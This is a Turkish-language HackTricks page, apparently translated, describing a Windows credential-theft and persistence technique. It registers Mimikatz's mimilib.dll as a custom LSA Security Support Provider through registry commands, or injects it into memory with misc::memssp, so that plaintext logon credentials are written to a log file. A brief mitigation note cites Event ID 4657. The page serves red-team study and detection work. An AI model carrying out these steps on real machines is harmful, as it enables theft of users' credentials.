Custom SSP

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

• Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!

• Resmi PEASS & HackTricks ürünlerini edinin

• The PEASS Family koleksiyonumuzu keşfedin, özel NFT'lerimiz

• 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.

• Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

Özel SSP

SSP'nin (Güvenlik Destek Sağlayıcısı) ne olduğunu öğrenin. Makineye erişmek için kullanılan kimlik bilgilerini açık metin olarak yakalamak için kendi SSP'nizi oluşturabilirsiniz.

Mimilib

Mimikatz tarafından sağlanan mimilib.dll ikili dosyasını kullanabilirsiniz. Bu, tüm kimlik bilgilerini açık metin olarak bir dosyaya kaydeder. Dll'yi C:\Windows\System32\ dizinine bırakın Mevcut LSA Güvenlik Paketlerinin listesini alın:

hedef@saldırgan

PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u

Güvenlik Destek Sağlayıcı listesine (Security Packages) mimilib.dll dosyasını ekleyin:

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"

Ve yeniden başlatma sonrasında tüm kimlik bilgileri açık metin olarak C:\Windows\System32\kiwissp.log dosyasında bulunabilir.

Bellekte

Ayrıca bunu doğrudan belleğe Mimikatz kullanarak enjekte edebilirsiniz (dikkat edin, biraz kararsız/çalışmayabilir):

privilege::debug
misc::memssp

Bu yeniden başlatmaları sağlamaz.

Hafifletme

Olay Kimliği 4657 - HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages oluşturulması/değiştirilmesi denetimi

Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

• Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!

• Resmi PEASS & HackTricks ürünlerini edinin

• The PEASS Family keşfedin, özel NFT'lerimiz koleksiyonumuz

• Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm. takip edin

• Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.